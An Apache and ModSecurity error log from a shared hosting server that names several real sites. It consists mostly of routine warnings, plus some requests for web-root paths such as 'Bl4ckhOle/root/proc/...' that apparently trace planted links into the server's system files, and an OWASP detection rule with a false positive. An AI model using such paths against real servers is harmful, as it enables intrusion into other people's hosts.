[Fri Jul 17 09:05:02.747518 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.747637 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.747920 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.748137 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.748242 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.748345 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.748446 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.748719 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.748831 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.748949 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.749112 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.749528 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.749658 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.749786 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.749908 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.750219 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.750333 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.750456 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.750578 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.750703 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.750812 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.750915 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.751034 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.751164 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:02.802333 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:05.184183 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:08.028694 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:60306] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:11.113829 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:60396] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:11.950145 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:55330] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:18.597999 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:55630] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:19.225471 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 57.141.18.10:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory114/node0/memory133/node0/memory114/subsystem/devices/memory12/subsystem/uevent
[Fri Jul 17 09:05:19.293954 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:55674] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:20.050974 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:55710] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:25.669761 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:58878] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:26.222681 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:26.273148 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:26.325287 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:26.344243 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:26.451942 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:26.546292 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:26.757254 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:26.848476 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:26.970214 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:27.056142 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:28.412689 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:58986] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:30.230159 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:59080] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:30.327949 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjAroj0IkvhSCYadmDKgAAAAQ"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:05:30.327991 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjAroj0IkvhSCYadmDKgAAAAQ"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:05:31.328370 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:46428] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:31.766864 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:46442] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:33.415759 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:46520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:35.388937 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:46584] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:36.377122 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:46694] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:42.171672 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:43870] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:43.703008 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:44038] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:44.476526 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.476638 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.476975 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.477060 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.477121 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.477152 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.477187 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.477215 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.477244 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.576838 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.578179 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:05:44.681476 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.785257 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.785338 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.785374 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:44.887741 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:47.039981 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:44422] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:47.844284 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:48.210334 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:48.331433 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:48.576971 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:48.707723 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:44626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:05:49.920404 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:49.954553 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:49.954553 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:50.192334 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:50.226151 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:50.256318 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:50.264337 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:50.456485 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:50.568370 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:50.664783 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:50.684437 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:50.844734 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:50.938848 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:50.956270 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:52.132350 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:52.257183 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:52.306155 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:52.339176 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:52.367605 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:52.530783 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:52.639256 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:52.713984 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:52.799535 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:52.894386 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:52.929477 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:53.085446 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:53.095683 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:53.146229 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:53.205909 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:53.212364 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:53.271838 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:53.283584 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:53.312464 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:54.243510 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:54.449687 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:54.467639 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:54.475679 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:54.498027 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:54.808199 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:54.867716 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:05:55.759968 2026] [security2:error] [pid 2013829:tid 2013829] [client 207.46.13.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "vraas.ksoft.web.lk"] [uri "/robots.txt"] [unique_id "almjGw7FYe46zHK_jL3RcgAAABk"]
[Fri Jul 17 09:05:55.760003 2026] [security2:error] [pid 2013829:tid 2013829] [client 207.46.13.230:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "vraas.ksoft.web.lk"] [uri "/robots.txt"] [unique_id "almjGw7FYe46zHK_jL3RcgAAABk"]
[Fri Jul 17 09:05:58.324056 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 57.141.18.106:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory78/node0/memory22/node0/memory73/subsystem/devices/memory5/subsystem/devices/memory64/subsystem/drivers_probe
[Fri Jul 17 09:05:58.496180 2026] [security2:error] [pid 2019501:tid 2019501] [client 143.14.6.24:0] ModSecurity: Warning. Pattern match "(?:(?:\\\\(|\\\\[)[a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]+(?:\\\\)|\\\\])[0-9_.$\\"'\\\\[\\\\](){}/*\\\\s]*\\\\([a-zA-Z0-9_.$\\"'\\\\[\\\\](){}/*\\\\s].*\\\\)|\\\\([\\\\s]*string[\\\\s]*\\\\)[\\\\s]*(?:\\"|'))" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "503"] [id "933210"] [msg "PHP Injection Attack: Variable Function Call Found"] [data "Matched Data: (Tamil) (Printed) found within REQUEST_FILENAME: /nccp/public/storage/post/pdfs/250399 - Breast Cencer leaflet (Tamil) (Printed).pdf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/storage/post/pdfs/250399 - Breast Cencer leaflet (Tamil) (Printed).pdf"] [unique_id "almjHrEWOaI5pmYo9fnQZgAAAAA"]
[Fri Jul 17 09:05:58.496390 2026] [security2:error] [pid 2019501:tid 2019501] [client 143.14.6.24:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/storage/post/pdfs/250399 - Breast Cencer leaflet (Tamil) (Printed).pdf"] [unique_id "almjHrEWOaI5pmYo9fnQZgAAAAA"]
[Fri Jul 17 09:05:59.365869 2026] [security2:error] [pid 2019501:tid 2019501] [client 143.14.6.24:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/storage/post/pdfs/250399 - Breast Cencer leaflet (Tamil) (Printed).pdf"] [unique_id "almjHrEWOaI5pmYo9fnQZgAAAAA"]
[Fri Jul 17 09:06:02.494192 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:43532] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:03.092535 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:43570] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:03.857173 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:43596] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:05.592214 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:43678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:07.802914 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:43780] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:07.948621 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:43788] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:08.481366 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjKLoj0IkvhSCYadmDSQAAAAQ"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:06:08.481403 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjKLoj0IkvhSCYadmDSQAAAAQ"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:06:09.490739 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.31.88.250:0] ModSecurity: Rule 55dbd86b49f0 [id "932100"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "123"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "euroentertainmentlk.com"] [uri "/"] [unique_id "almjKQ7FYe46zHK_jL3RegAAABk"], referer: https://euroentertainmentlk.com/
[Fri Jul 17 09:06:09.490813 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.31.88.250:0] ModSecurity: Rule 55dbd86c4390 [id "932105"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "159"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "euroentertainmentlk.com"] [uri "/"] [unique_id "almjKQ7FYe46zHK_jL3RegAAABk"], referer: https://euroentertainmentlk.com/
[Fri Jul 17 09:06:09.493952 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.31.88.250:0] ModSecurity: Rule 55dbd8a44e30 [id "933210"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "503"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "euroentertainmentlk.com"] [uri "/"] [unique_id "almjKQ7FYe46zHK_jL3RegAAABk"], referer: https://euroentertainmentlk.com/
[Fri Jul 17 09:06:09.500701 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.31.88.250:0] ModSecurity: Rule 55dbd90914d8 [id "941140"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "165"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "euroentertainmentlk.com"] [uri "/"] [unique_id "almjKQ7FYe46zHK_jL3RegAAABk"], referer: https://euroentertainmentlk.com/
[Fri Jul 17 09:06:09.500864 2026] [security2:error] [pid 2013829:tid 2013829] [client 34.31.88.250:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "euroentertainmentlk.com"] [uri "/"] [unique_id "almjKQ7FYe46zHK_jL3RegAAABk"], referer: https://euroentertainmentlk.com/
[Fri Jul 17 09:06:13.422715 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:57742] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:14.944723 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:57794] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:15.189962 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:15.190197 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:15.198641 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:15.342405 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:15.342599 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:15.443462 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:15.544218 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:15.747751 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:06:16.050023 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu1/node0/compact
[Fri Jul 17 09:06:16.090471 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:57858] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:16.235250 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:57876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:06:16.944338 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:57916] AH02013: coalesce failed to read from data bucket
